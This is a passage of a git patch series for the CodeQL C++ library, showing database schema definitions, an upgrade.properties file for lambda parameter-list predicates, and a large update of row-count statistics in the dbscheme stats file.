+ int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties new file mode 100644 index 00000000000..ef15d6e09ff --- /dev/null +++ b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties @@ -0,0 +1,3 @@ +description: add predicates `hasParameterList` and `emptyParameterListIsExplicit` to capture whether a lambda has an explicitly specified parameter list and whether that list is empty, respectively.Add commentMore actionsAdd commentMore actions +compatibility: backwards +lambdas.rel: run lambdas.qlo From f759550e5a0696b942af4f0239e0ed8c4fb90809 Mon Sep 17 00:00:00 2001 From: idrissrio Date: Wed, 11 Jun 2025 09:26:20 +0200 Subject: [PATCH 253/271] C++: update stats file --- cpp/ql/lib/semmlecode.cpp.dbscheme.stats | 1506 ++++++++++++---------- 1 file changed, 813 insertions(+), 693 deletions(-) diff --git a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats index 15f89361250..3672711aa41 100644 --- a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats +++ b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats @@ -2,7 +2,7 @@ @compilation - 15785 + 15784 @externalDataElement @@ -18,15 +18,15 @@ @location_default - 36090709 + 36090715 @location_stmt - 5203173 + 5203174 @location_expr - 17959851 + 17959854 @diagnostic @@ -34,7 +34,7 @@ @file - 81417 + 81416 @folder @@ -42,7 +42,7 @@ @macro_expansion - 39234346 + 39233853 @other_macro_reference @@ -50,19 +50,19 @@ @function - 4000083 + 4000084 @fun_decl - 4138631 + 4138632 @var_decl - 9237881 + 9237883 @type_decl - 1840555 + 1840519 @namespace_decl @@ -70,7 +70,7 @@ @using_declaration - 334520 + 334516 @using_directive @@ -86,7 +86,7 @@ @parameter - 6939001 + 6939003 @membervariable @@ -94,15 +94,15 @@ @globalvariable - 486787 + 486788 @localvariable - 727547 + 727548 @enumconstant - 343844 + 343845 @errortype @@ -378,15 +378,15 @@ @usertype - 4863384 + 4863327 @mangledname - 6313665 + 6313666 @type_mention - 5813147 + 5813148 @concept_template @@ -430,7 +430,7 @@ @attribute_arg_constant_expr - 87075 + 86995 @attribute_arg_expr @@ -454,11 +454,11 @@ @frienddecl - 878421 + 881070 @comment - 11190889 + 11190891 @namespace @@ -474,7 +474,7 @@ @value - 13438635 + 13438637 @initialiser @@ -494,7 +494,7 @@ @parexpr - 4902378 + 4902379 @arithnegexpr @@ -506,11 +506,11 @@ @complementexpr - 38097 + 38098 @notexpr - 357142 + 357277 @postincrexpr @@ -538,7 +538,7 @@ @subexpr - 465580 + 465581 @mulexpr @@ -546,7 +546,7 @@ @divexpr - 58999 + 58998 @remexpr @@ -554,7 +554,7 @@ @paddexpr - 118352 + 118353 @psubexpr @@ -566,7 +566,7 @@ @lshiftexpr - 550223 + 550224 @rshiftexpr @@ -610,7 +610,7 @@ @assignexpr - 1277724 + 1277725 @assignaddexpr @@ -678,7 +678,7 @@ @callexpr - 300696 + 300697 @vastartexpr @@ -698,7 +698,7 @@ @varaccess - 8232596 + 8232597 @runtime_sizeof @@ -714,11 +714,11 @@ @routineexpr - 6134314 + 6134315 @type_operand - 1401611 + 1401612 @offsetofexpr @@ -730,7 +730,7 @@ @literal - 6102024 + 6102022 @aggregateliteral @@ -738,11 +738,11 @@ @c_style_cast - 6026985 + 6026987 @temp_init - 1073319 + 1073608 @errorexpr @@ -750,7 +750,7 @@ @reference_to - 2182338 + 2182339 @ref_indirect @@ -826,7 +826,7 @@ @throw_expr - 26134 + 26079 @condition_decl @@ -834,7 +834,7 @@ @braced_init_list - 2327 + 2328 @type_id @@ -994,7 +994,7 @@ @param_ref - 177374 + 177449 @noopexpr @@ -1026,7 +1026,7 @@ @istrivialexpr - 3643 + 3644 @isstandardlayoutexpr @@ -1098,7 +1098,7 @@ @noexceptexpr - 30665 + 30678 @builtinshufflevector @@ -1414,7 +1414,7 @@ @stmt_block - 1839751 + 1839752 @stmt_end_test_while @@ -1454,7 +1454,7 @@ @stmt_try_block - 28938 + 28885 @stmt_microsoft_try @@ -1478,7 +1478,7 @@ @stmt_handler - 47376 + 47330 @stmt_constexpr_if @@ -1522,11 +1522,11 @@ @ppd_plain_include - 397726 + 397722 @ppd_define - 2739069 + 2739070 @ppd_undef @@ -1600,11 +1600,11 @@ compilations - 15785 + 15784 id - 15785 + 15784 cwd @@ -1622,7 +1622,7 @@ 1 2 - 15785 + 15784 @@ -1648,11 +1648,11 @@ compilation_args - 1263745 + 1263730 id - 15785 + 15784 num @@ -2039,11 +2039,11 @@ compilation_build_mode - 15785 + 15784 id - 15785 + 15784 mode @@ -2061,7 +2061,7 @@ 1 2 - 15785 + 15784 @@ -2087,11 +2087,11 @@ compilation_compiling_files - 15785 + 15784 id - 15785 + 15784 num @@ -2113,7 +2113,7 @@ 1 2 - 15785 + 15784 @@ -2129,7 +2129,7 @@ 1 2 - 15785 + 15784 @@ -2213,11 +2213,11 @@ compilation_time - 62876 + 62875 id - 15719 + 15718 num @@ -2229,7 +2229,7 @@ seconds - 17631 + 17604 @@ -2243,7 +2243,7 @@ 1 2 - 15719 + 15718 @@ -2259,7 +2259,7 @@ 4 5 - 15719 + 15718 @@ -2275,17 +2275,17 @@ 2 3 - 197 + 105 3 4 - 7635 + 7661 4 5 - 7885 + 7951 @@ -2331,8 +2331,8 @@ 12 - 1337 - 1338 + 1335 + 1336 13 @@ -2379,8 +2379,8 @@ 12 - 9 - 10 + 10 + 11 13 @@ -2389,13 +2389,13 @@ 13 - 734 - 735 + 752 + 753 13 - 794 - 795 + 775 + 776 13 @@ -2412,27 +2412,22 @@ 1 2 - 11393 + 11327 2 3 - 3758 + 3494 3 4 - 1054 + 1463 4 - 30 - 1331 - - - 30 - 699 - 92 + 695 + 1318 @@ -2448,7 +2443,7 @@ 1 2 - 17631 + 17604 @@ -2464,7 +2459,7 @@ 1 2 - 14862 + 14822 2 @@ -2474,7 +2469,7 @@ 3 4 - 13 + 26 @@ -2730,15 +2725,15 @@ compilation_finished - 15785 + 15784 id - 15785 + 15784 cpu_seconds - 11776 + 11815 elapsed_seconds @@ -2756,7 +2751,7 @@ 1 2 - 15785 + 15784 @@ -2772,7 +2767,7 @@ 1 2 - 15785 + 15784 @@ -2788,17 +2783,17 @@ 1 2 - 9890 + 9877 2 3 - 1305 + 1397 3 - 28 - 580 + 37 + 540 @@ -2814,12 +2809,12 @@ 1 2 - 10866 + 10998 2 3 - 909 + 817 @@ -2835,12 +2830,17 @@ 1 2 - 52 + 39 2 3 - 26 + 39 + + + 3 + 4 + 13 4 @@ -2848,18 +2848,8 @@ 13 - 6 - 7 - 13 - - - 8 - 9 - 13 - - - 10 - 11 + 11 + 12 26 @@ -2868,38 +2858,43 @@ 13 - 21 - 22 + 18 + 19 13 - 33 - 34 + 19 + 20 13 - 44 - 45 + 26 + 27 13 - 164 - 165 + 50 + 51 13 - 256 - 257 + 148 + 149 13 - 293 - 294 + 250 + 251 13 - 326 - 327 + 311 + 312 + 13 + + + 323 + 324 13 @@ -2916,12 +2911,17 @@ 1 2 - 52 + 39 2 3 - 26 + 39 + + + 3 + 4 + 13 4 @@ -2929,18 +2929,8 @@ 13 - 6 - 7 - 13 - - - 8 - 9 - 13 - - - 10 - 11 + 11 + 12 26 @@ -2949,38 +2939,43 @@ 13 - 21 - 22 + 18 + 19 13 - 33 - 34 + 19 + 20 13 - 43 - 44 + 26 + 27 13 - 152 - 153 + 49 + 50 13 - 171 - 172 + 143 + 144 13 - 234 - 235 + 173 + 174 13 - 248 - 249 + 220 + 221 + 13 + + + 258 + 259 13 @@ -4753,11 +4748,11 @@ locations_default - 36090709 + 36090715 id - 36090709 + 36090715 container @@ -4765,7 +4760,7 @@ startLine - 7467155 + 7467156 startColumn @@ -4773,7 +4768,7 @@ endLine - 7469148 + 7469149 endColumn @@ -4791,7 +4786,7 @@ 1 2 - 36090709 + 36090715 @@ -4807,7 +4802,7 @@ 1 2 - 36090709 + 36090715 @@ -4823,7 +4818,7 @@ 1 2 - 36090709 + 36090715 @@ -4839,7 +4834,7 @@ 1 2 - 36090709 + 36090715 @@ -4855,7 +4850,7 @@ 1 2 - 36090709 + 36090715 @@ -5251,7 +5246,7 @@ 1 2 - 4941389 + 4941390 2 @@ -5292,7 +5287,7 @@ 1 2 - 4999450 + 4999451 2 @@ -5328,12 +5323,12 @@ 1 2 - 5633881 + 5633882 2 3 - 530644 + 530645 3 @@ -5364,7 +5359,7 @@ 1 2 - 7292972 + 7292974 2 @@ -5385,7 +5380,7 @@ 1 2 - 5008047 + 5008048 2 @@ -5801,12 +5796,12 @@ 1 2 - 4941015 + 4941016 2 3 - 804875 + 804876 3 @@ -5842,7 +5837,7 @@ 1 2 - 4997955 + 4997956 2 @@ -5878,12 +5873,12 @@ 1 2 - 7288487 + 7288488 2 7 - 180660 + 180661 @@ -5899,7 +5894,7 @@ 1 2 - 5636498 + 5636499 2 @@ -5935,7 +5930,7 @@ 1 2 - 5007922 + 5007923 2 @@ -5950,7 +5945,7 @@ 4 12 - 603033 + 603034 12 @@ -6270,11 +6265,11 @@ locations_stmt - 5203173 + 5203174 id - 5203173 + 5203174 container @@ -6308,7 +6303,7 @@ 1 2 - 5203173 + 5203174 @@ -6324,7 +6319,7 @@ 1 2 - 5203173 + 5203174 @@ -6340,7 +6335,7 @@ 1 2 - 5203173 + 5203174 @@ -6356,7 +6351,7 @@ 1 2 - 5203173 + 5203174 @@ -6372,7 +6367,7 @@ 1 2 - 5203173 + 5203174 @@ -6818,7 +6813,7 @@ 29 37 - 23685 + 23686 37 @@ -7852,7 +7847,7 @@ 22 26 - 23685 + 23686 26 @@ -8262,11 +8257,11 @@ locations_expr - 17959851 + 17959854 id - 17959851 + 17959854 container @@ -8300,7 +8295,7 @@ 1 2 - 17959851 + 17959854 @@ -8316,7 +8311,7 @@ 1 2 - 17959851 + 17959854 @@ -8332,7 +8327,7 @@ 1 2 - 17959851 + 17959854 @@ -8348,7 +8343,7 @@ 1 2 - 17959851 + 17959854 @@ -8364,7 +8359,7 @@ 1 2 - 17959851 + 17959854 @@ -8886,7 +8881,7 @@ 11 16 - 23685 + 23686 16 @@ -9642,7 +9637,7 @@ 1 2 - 130272 + 130273 2 @@ -9693,7 +9688,7 @@ 11 16 - 23685 + 23686 16 @@ -11182,15 +11177,15 @@ files - 81417 + 81416 id - 81417 + 81416 name - 81417 + 81416 @@ -11204,7 +11199,7 @@ 1 2 - 81417 + 81416 @@ -11220,7 +11215,7 @@ 1 2 - 81417 + 81416 @@ -11278,7 +11273,7 @@ containerparent - 96860 + 96859 parent @@ -11286,7 +11281,7 @@ child - 96860 + 96859 @@ -11351,7 +11346,7 @@ 1 2 - 96860 + 96859 @@ -11361,7 +11356,7 @@ fileannotations - 5244377 + 5244314 id @@ -11373,11 +11368,11 @@ name - 73307 + 73306 value - 49333 + 49332 @@ -11672,7 +11667,7 @@ 128 459 - 5776 + 5775 459 @@ -11693,7 +11688,7 @@ 1 2 - 73307 + 73306 @@ -11734,7 +11729,7 @@ 8 11 - 5921 + 5920 11 @@ -11780,7 +11775,7 @@ 2 4 - 2044 + 2043 4 @@ -11840,7 +11835,7 @@ 473 547 - 2888 + 2887 @@ -11856,7 +11851,7 @@ 1 2 - 49320 + 49319 2 @@ -11952,15 +11947,15 @@ inmacroexpansion - 149602934 + 149602958 id - 24604989 + 24604993 inv - 3694106 + 3694107 @@ -11974,27 +11969,27 @@ 1 3 - 2202142 + 2202143 3 5 - 1471127 + 1471128 5 6 - 1616139 + 1616140 6 7 - 6565363 + 6565364 7 8 - 8696241 + 8696243 8 @@ -12080,15 +12075,15 @@ affectedbymacroexpansion - 48608625 + 48608633 id - 7026351 + 7026352 inv - 3793194 + 3793195 @@ -12102,7 +12097,7 @@ 1 2 - 3836668 + 3836669 2 @@ -12148,7 +12143,7 @@ 1 4 - 312430 + 312431 4 @@ -12218,19 +12213,19 @@ macroinvocations - 39528395 + 39527898 id - 39528395 + 39527898 macro_id - 106974 + 106973 location - 1041659 + 1041646 kind @@ -12248,7 +12243,7 @@ 1 2 - 39528395 + 39527898 @@ -12264,7 +12259,7 @@ 1 2 - 39528395 + 39527898 @@ -12280,7 +12275,7 @@ 1 2 - 39528395 + 39527898 @@ -12301,7 +12296,7 @@ 2 3 - 20018 + 20017 3 @@ -12311,7 +12306,7 @@ 4 6 - 9798 + 9797 6 @@ -12336,7 +12331,7 @@ 145 955 - 8031 + 8030 955 @@ -12357,7 +12352,7 @@ 1 2 - 58643 + 58642 2 @@ -12403,7 +12398,7 @@ 1 2 - 98745 + 98744 2 @@ -12424,32 +12419,32 @@ 1 2 - 414923 + 414918 2 3 - 246126 + 246136 3 4 - 110311 + 110296 4 6 - 75496 + 75495 6 11 - 79967 + 79966 11 41 - 78595 + 78594 41 @@ -12470,12 +12465,12 @@ 1 2 - 982817 + 982806 2 367 - 58841 + 58840 @@ -12491,7 +12486,7 @@ 1 2 - 1041659 + 1041646 @@ -12510,8 +12505,8 @@ 13 - 2975177 - 2975178 + 2975175 + 2975176 13 @@ -12564,15 +12559,15 @@ macroparent - 34859337 + 34858909 id - 34859337 + 34858909 parent_id - 27314263 + 27313925 @@ -12586,7 +12581,7 @@ 1 2 - 34859337 + 34858909 @@ -12602,17 +12597,17 @@ 1 2 - 21276911 + 21276645 2 3 - 5036849 + 5036789 3 91 - 1000502 + 1000490 @@ -12622,7 +12617,7 @@ macrolocationbind - 5544604 + 5544605 id @@ -12630,7 +12625,7 @@ location - 2759099 + 2759100 @@ -12644,7 +12639,7 @@ 1 2 - 3057282 + 3057283 2 @@ -12654,7 +12649,7 @@ 3 7 - 314993 + 314994 7 @@ -12685,7 +12680,7 @@ 3 8 - 216610 + 216611 8 @@ -12700,11 +12695,11 @@ macro_argument_unexpanded - 100508328 + 100507131 invocation - 30398519 + 30398157 argument_index @@ -12712,7 +12707,7 @@ text - 428571 + 428566 @@ -12726,22 +12721,22 @@ 1 2 - 9719872 + 9719757 2 3 - 12168992 + 12168847 3 4 - 6225876 + 6225802 4 67 - 2283777 + 2283750 @@ -12757,22 +12752,22 @@ 1 2 - 9947893 + 9947774 2 3 - 12189920 + 12189775 3 4 - 6031259 + 6031187 4 67 - 2229446 + 2229419 @@ -12845,22 +12840,22 @@ 2 3 - 77883 + 77882 3 4 - 28880 + 28879 4 5 - 43320 + 43319 5 6 - 48845 + 48844 6 @@ -12906,17 +12901,17 @@ 1 2 - 303609 + 303606 2 3 - 112210 + 112208 3 9 - 12752 + 12751 @@ -12926,11 +12921,11 @@ macro_argument_expanded - 100508328 + 100507131 invocation - 30398519 + 30398157 argument_index @@ -12938,7 +12933,7 @@ text - 259603 + 259600 @@ -12952,22 +12947,22 @@ 1 2 - 9719872 + 9719757 2 3 - 12168992 + 12168847 3 4 - 6225876 + 6225802 4 67 - 2283777 + 2283750 @@ -12983,22 +12978,22 @@ 1 2 - 13403066 + 13402907 2 3 - 10499198 + 10499073 3 4 - 5260676 + 5260613 4 9 - 1235577 + 1235562 @@ -13071,12 +13066,12 @@ 2 3 - 34168 + 34167 3 4 - 56942 + 56941 4 @@ -13116,7 +13111,7 @@ 254 990275 - 11631 + 11630 @@ -13132,12 +13127,12 @@ 1 2 - 131199 + 131198 2 3 - 111010 + 111008 3 @@ -13152,11 +13147,11 @@ functions - 4000083 + 4000084 id - 4000083 + 4000084 name @@ -13178,7 +13173,7 @@ 1 2 - 4000083 + 4000084 @@ -13194,7 +13189,7 @@ 1 2 - 4000083 + 4000084 @@ -13236,7 +13231,7 @@ 1 2 - 1641273 + 1641274 2 @@ -13353,7 +13348,7 @@ function_entry_point - 1430681 + 1430682 id @@ -13361,7 +13356,7 @@ entry_point - 1430681 + 1430682 @@ -13396,7 +13391,7 @@ 1 2 - 1430681 + 1430682 @@ -13406,11 +13401,11 @@ function_return_type - 4017526 + 4017527 id - 4000083 + 4000084 return_type @@ -13428,7 +13423,7 @@ 1 2 - 3982640 + 3982641 2 @@ -13771,22 +13766,22 @@ function_defaulted - 55305 + 55306 id - 55305 + 55306 function_prototyped - 3998588 + 3998589 id - 3998588 + 3998589 @@ -13944,11 +13939,11 @@ fun_decls - 4144612 + 4144613 id - 4138631 + 4138632 function @@ -13978,7 +13973,7 @@ 1 2 - 4138631 + 4138632 @@ -13994,7 +13989,7 @@ 1 2 - 4132651 + 4132652 2 @@ -14015,7 +14010,7 @@ 1 2 - 4138631 + 4138632 @@ -14031,7 +14026,7 @@ 1 2 - 4138631 + 4138632 @@ -14291,7 +14286,7 @@ 1 2 - 1398066 + 1398067 2 @@ -14369,7 +14364,7 @@ 2 3 - 237101 + 237102 3 @@ -15053,11 +15048,11 @@ param_decl_bind - 7170746 + 7170747 id - 7170746 + 7170747 index @@ -15065,7 +15060,7 @@ fun_decl - 3468815 + 3468816 @@ -15079,7 +15074,7 @@ 1 2 - 7170746 + 7170747 @@ -15095,7 +15090,7 @@ 1 2 - 7170746 + 7170747 @@ -15259,19 +15254,19 @@ var_decls - 9244734 + 9244736 id - 9237881 + 9237883 variable - 8948450 + 8948452 type_id - 1458494 + 1458495 name @@ -15279,7 +15274,7 @@ location - 6187950 + 6187951 @@ -15293,7 +15288,7 @@ 1 2 - 9237881 + 9237883 @@ -15309,7 +15304,7 @@ 1 2 - 9231029 + 9231030 2 @@ -15330,7 +15325,7 @@ 1 2 - 9237881 + 9237883 @@ -15346,7 +15341,7 @@ 1 2 - 9237881 + 9237883 @@ -15362,7 +15357,7 @@ 1 2 - 8671976 + 8671978 2 @@ -15383,7 +15378,7 @@ 1 2 - 8909826 + 8909827 2 @@ -15404,7 +15399,7 @@ 1 2 - 8843044 + 8843045 2 @@ -15425,7 +15420,7 @@ 1 2 - 8697269 + 8697270 2 @@ -15523,7 +15518,7 @@ 2 3 - 192621 + 192622 3 @@ -15549,7 +15544,7 @@ 1 2 - 988277 + 988278 2 @@ -15776,7 +15771,7 @@ 1 2 - 5904748 + 5904749 2 @@ -15797,7 +15792,7 @@ 1 2 - 6175491 + 6175492 2 @@ -15812,11 +15807,11 @@ var_def - 3721865 + 3721866 id - 3721865 + 3721866 @@ -15966,19 +15961,19 @@ type_decls - 1840555 + 1840519 id - 1840555 + 1840519 type_id - 1800241 + 1800220 location - 1446059 + 1446041 @@ -15992,7 +15987,7 @@ 1 2 - 1840555 + 1840519 @@ -16008,7 +16003,7 @@ 1 2 - 1840555 + 1840519 @@ -16024,7 +16019,7 @@ 1 2 - 1771242 + 1771221 2 @@ -16045,7 +16040,7 @@ 1 2 - 1772535 + 1772514 2 @@ -16066,12 +16061,12 @@ 1 2 - 1371564 + 1371548 2 651 - 74494 + 74493 @@ -16087,12 +16082,12 @@ 1 2 - 1372869 + 1372853 2 651 - 73189 + 73188 @@ -16102,11 +16097,11 @@ type_def - 1262901 + 1262886 id - 1262901 + 1262886 @@ -16563,15 +16558,15 @@ usings - 339703 + 339699 id - 339703 + 339699 element_id - 73729 + 73728 location @@ -16593,7 +16588,7 @@ 1 2 - 339703 + 339699 @@ -16609,7 +16604,7 @@ 1 2 - 339703 + 339699 @@ -16625,7 +16620,7 @@ 1 2 - 339703 + 339699 @@ -16641,7 +16636,7 @@ 1 2 - 64076 + 64075 2 @@ -16667,7 +16662,7 @@ 1 2 - 64076 + 64075 2 @@ -16693,7 +16688,7 @@ 1 2 - 73729 + 73728 @@ -16844,7 +16839,7 @@ using_container - 722778 + 722770 parent @@ -16852,7 +16847,7 @@ child - 339703 + 339699 @@ -16917,12 +16912,12 @@ 1 2 - 121269 + 121268 2 3 - 150163 + 150161 3 @@ -16932,7 +16927,7 @@ 4 5 - 33324 + 33323 5 @@ -17555,15 +17550,15 @@ params - 6965540 + 6965541 id - 6939001 + 6939003 function - 3356930 + 3356931 index @@ -17585,7 +17580,7 @@ 1 2 - 6939001 + 6939003 @@ -17601,7 +17596,7 @@ 1 2 - 6939001 + 6939003 @@ -17617,7 +17612,7 @@ 1 2 - 6912463 + 6912464 2 @@ -17710,7 +17705,7 @@ 1 2 - 1758765 + 1758766 2 @@ -17905,7 +17900,7 @@ 2 3 - 180660 + 180661 3 @@ -18210,11 +18205,11 @@ globalvariables - 486787 + 486788 id - 486787 + 486788 type_id @@ -18236,7 +18231,7 @@ 1 2 - 486787 + 486788 @@ -18252,7 +18247,7 @@ 1 2 - 486787 + 486788 @@ -18396,11 +18391,11 @@ localvariables - 727547 + 727548 id - 727547 + 727548 type_id @@ -18422,7 +18417,7 @@ 1 2 - 727547 + 727548 @@ -18438,7 +18433,7 @@ 1 2 - 727547 + 727548 @@ -18718,11 +18713,11 @@ enumconstants - 343844 + 343845 id - 343844 + 343845 parent @@ -18756,7 +18751,7 @@ 1 2 - 343844 + 343845 @@ -18772,7 +18767,7 @@ 1 2 - 343844 + 343845 @@ -18788,7 +18783,7 @@ 1 2 - 343844 + 343845 @@ -18804,7 +18799,7 @@ 1 2 - 343844 + 343845 @@ -18820,7 +18815,7 @@ 1 2 - 343844 + 343845 @@ -20338,7 +20333,7 @@ type_id - 1942541 + 1942542 @@ -20678,11 +20673,11 @@ pointerishsize - 2244307 + 2244308 id - 2244307 + 2244308 size @@ -20704,7 +20699,7 @@ 1 2 - 2244307 + 2244308 @@ -20720,7 +20715,7 @@ 1 2 - 2244307 + 2244308 @@ -20804,11 +20799,11 @@ arraysizes - 88336 + 88337 id - 88336 + 88337 num_elements @@ -20834,7 +20829,7 @@ 1 2 - 88336 + 88337 @@ -20850,7 +20845,7 @@ 1 2 - 88336 + 88337 @@ -20866,7 +20861,7 @@ 1 2 - 88336 + 88337 @@ -21195,11 +21190,11 @@ typedefbase - 2162642 + 2162643 id - 2162642 + 2162643 type_id @@ -21217,7 +21212,7 @@ 1 2 - 2162642 + 2162643 @@ -22022,15 +22017,15 @@ usertypes - 4863384 + 4863327 id - 4863384 + 4863327 name - 1051141 + 1051154 kind @@ -22048,7 +22043,7 @@ 1 2 - 4863384 + 4863327 @@ -22064,7 +22059,7 @@ 1 2 - 4863384 + 4863327 @@ -22080,17 +22075,17 @@ 1 2 - 727658 + 727675 2 3 - 192441 + 192465 3 7 - 83738 + 83711 7 @@ -22111,12 +22106,12 @@ 1 2 - 986536 + 986551 2 10 - 64604 + 64603 @@ -22246,8 +22241,8 @@ 13 - 10838 - 10839 + 10840 + 10841 13 @@ -22268,11 +22263,11 @@ usertypesize - 1595589 + 1595570 id - 1595589 + 1595570 size @@ -22294,7 +22289,7 @@ 1 2 - 1595589 + 1595570 @@ -22310,7 +22305,7 @@ 1 2 - 1595589 + 1595570 @@ -22572,7 +22567,7 @@ id - 2162642 + 2162643 alias_kind @@ -22710,15 +22705,15 @@ mangled_name - 7805177 + 7805179 id - 7805177 + 7805179 mangled_name - 6313665 + 